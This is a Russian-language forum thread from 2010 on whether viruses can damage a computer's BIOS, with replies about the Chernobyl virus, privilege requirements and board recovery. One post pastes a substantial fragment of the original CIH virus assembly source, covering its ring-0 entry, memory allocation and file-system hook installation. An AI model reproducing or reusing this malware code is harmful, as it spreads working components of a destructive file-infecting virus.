|
Компьютерный форум OSzone.net » Компьютеры + Интернет » Хочу все знать » Есть ли вирусы который портят БИОС |
|
Есть ли вирусы который портят БИОС
|
Старожил Сообщения: 267 |
Подскажите есть ли такие вирусы ?
|
|
------- Отправлено: 16:50, 24-01-2010 |
Пользователь Сообщения: 69
|
Профиль | Отправить PM | Цитировать Более корректный ответ — они были и могут быть.
Нужно отметить, что для такого вируса необходимы администраторские привилегии. ——— Upd: ребят, вы отвечая — ответы выше читаете ![]() |
Последний раз редактировалось skyfish, 25-01-2010 в 01:34. Отправлено: 17:05, 24-01-2010 | #2 |
Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети. Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля. |
![]() Ветеран Сообщения: 2907
|
Профиль | Отправить PM | Цитировать CrOsP, такой вирус был - "Чернобыль".
Сейчас такого вроде нет: 1) Из NT-систем (XP, Vista) прямой доступ к оборудованию запрещен (хотя... насколько я знаю, есть прошивальщики BIOS для NT-систем. 2) В современных материнских платах есть система восстановления и материнскую плату можно восстановить, зачастую для этого нужно просто вставить диск из ее комплекта 3) Современные вирусы больше ориентированы на получение конфиденциальной информации или деньги. Сейчас редко вирусы, которые ломают компьютер, кто-то пишет Вообще-то, я думаю, в теории, можно и написать вирус, сжигающий компьютер. Ведь есть же утилиты для программного разгона видеокарты... Просто это никому не нужно. |
Отправлено: 17:25, 24-01-2010 | #3 |
![]() Ленивый кусок мяса Сообщения: 1986
|
Профиль | Сайт | Отправить PM | Цитировать Цитата Котяра:
![]() |
|
------- Отправлено: 17:41, 24-01-2010 | #4 |
Старожил Сообщения: 267
|
Профиль | Отправить PM | Цитировать У меня на том компе очень много вирусов , я вот и подумал , тот комп доисторический , просто часто вкл камп , а оно пишет DISK FAILURE....
|
|
------- Отправлено: 17:44, 24-01-2010 | #5 |
Будем жить, Маэстро... Сообщения: 6694
|
Профиль | Сайт | Отправить PM | Цитировать Цитата Котяра:
![]() |
|
------- Отправлено: 18:14, 24-01-2010 | #6 |
Новый участник Сообщения: 24
|
Профиль | Отправить PM | Цитировать Если речь идет о CIH 95 то могу принести маленький пример на асме из оригинального кода
![]() Designer : CIH Source : TTIT of TATUNG in Taiwan * ; * Create Date : 04/26/1998 E-mail : WinCIH.Tatung@usa.net * ; * Modification Time : 06/01/1998 Version : 1.5 * ; * * ; * Turbo Assembler Version 5.0 : Tasm /m cih * ; * Turbo Link Version 5.01 : Tlink /3 /t cih, cih.exe pop ebp push 00401000h ; Push Original OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack ret ; Return to Original App Entry Point ; ********************************************************* ; * Ring0 Virus Game Initial Program * ; ********************************************************* MyExceptionHook: @2 = MyExceptionHook jz InstallMyFileSystemApiHook ; ************************************* ; * Do My Virus Exist in System !? * ; ************************************* mov ecx, dr0 jecxz AllocateSystemMemoryPage add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException ; ************************************* ; * Return to Ring3 Initial Program * ; ************************************* ExitRing0Init: mov [ebx-04h], bp ; shr ebp, 16 ; Restore Exception mov [ebx+02h], bp ; iretd ; ************************************* ; * Allocate SystemMemory Page to Use * ; ************************************* AllocateSystemMemoryPage: mov dr0, ebx ; Set the Mark of My Virus Exist in System push 00000000fh ; push ecx ; push 0ffffffffh ; push ecx ; push ecx ; push ecx ; push 000000001h ; push 000000002h ; int 20h ; VMMCALL _PageAllocate _PageAllocate = $ ; dd 00010053h ; Use EAX, ECX, EDX, and flags add esp, 08h*04h xchg edi, eax ; EDI = SystemMemory Start Address lea eax, MyVirusStart-@2[esi] iretd ; Return to Ring3 Initial Program ; ************************************* ; * Install My File System Api Hook * ; ************************************* InstallMyFileSystemApiHook: lea eax, FileSystemApiHook-@6[edi] push eax ; int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook IFSMgr_InstallFileSystemApiHook = $ dd 00400067h ; Use EAX, ECX, EDX, and flags mov dr0, eax ; Save OldFileSystemApiHook Address pop eax ; EAX = FileSystemApiHook Address ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] mov edx, [ecx] mov OldInstallFileSystemApiHook-@3[eax], edx ; Modify IFSMgr_InstallFileSystemApiHook Entry Point lea eax, InstallFileSystemApiHook-@3[eax] mov [ecx], eax cli jmp ExitRing0Init ; ********************************************************* ; * Code Size of Merge Virus Code Section * ; ********************************************************* CodeSizeOfMergeVirusCodeSection = offset $ ; ********************************************************* ; * IFSMgr_InstallFileSystemApiHook * ; ********************************************************* InstallFileSystemApiHook: push ebx call @4 ; @4: ; pop ebx ; mov ebx, offset FileSystemApiHook add ebx, FileSystemApiHook-@4 ; push ebx int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook IFSMgr_RemoveFileSystemApiHook = $ dd 00400068h ; Use EAX, ECX, EDX, and flags pop eax ; Call Original IFSMgr_InstallFileSystemApiHook ; to Link Client FileSystemApiHook push dword ptr [esp+8] call OldInstallFileSystemApiHook-@3[ebx] pop ecx push eax ; Call Original IFSMgr_InstallFileSystemApiHook ; to Link My FileSystemApiHook push ebx call OldInstallFileSystemApiHook-@3[ebx] pop ecx mov dr0, eax ; Adjust OldFileSystemApiHook Address pop eax pop ebx ret |
Отправлено: 19:31, 25-01-2010 | #7 |
![]() Ветеран Сообщения: 2907
|
Профиль | Отправить PM | Цитировать Цитата CrOsP:
|
|
Отправлено: 21:59, 25-01-2010 | #8 |
![]() Ленивый кусок мяса Сообщения: 1986
|
Профиль | Сайт | Отправить PM | Цитировать Цитата CrOsP:
![]() |
|
------- Отправлено: 09:09, 27-01-2010 | #9 |
![]() |
Участник сейчас на форуме |
![]() |
Участник вне форума |
![]() |
Автор темы |
![]() |
Сообщение прикреплено |
| |||||
Название темы | Автор | Информация о форуме | Ответов | Последнее сообщение | |
Проблемы с приводами NEC ND-4551 и AD-5200 (портят болванки) | medvedkovo | Оптические приводы | 25 | 05-09-2012 21:57 | |
[решено] Есть конфигурация. Есть вопросы. | Igor_eK | Выбор отдельных компонентов компьютера и конфигурации в целом | 14 | 29-08-2009 23:43 | |
Wireless - Есть роутер Asus Wl 500gp v2 Есть МФУ Canon mp510 - итог печать и сканирование | PLATON | Сетевое оборудование | 0 | 09-12-2008 16:18 | |
Debian/Ubuntu - права доступа (в который раз) | bruder | Общий по Linux | 9 | 29-04-2008 16:07 | |
Есть ли вирусы для Linux? | DemonZla | Хочу все знать | 24 | 26-04-2002 08:59 |
|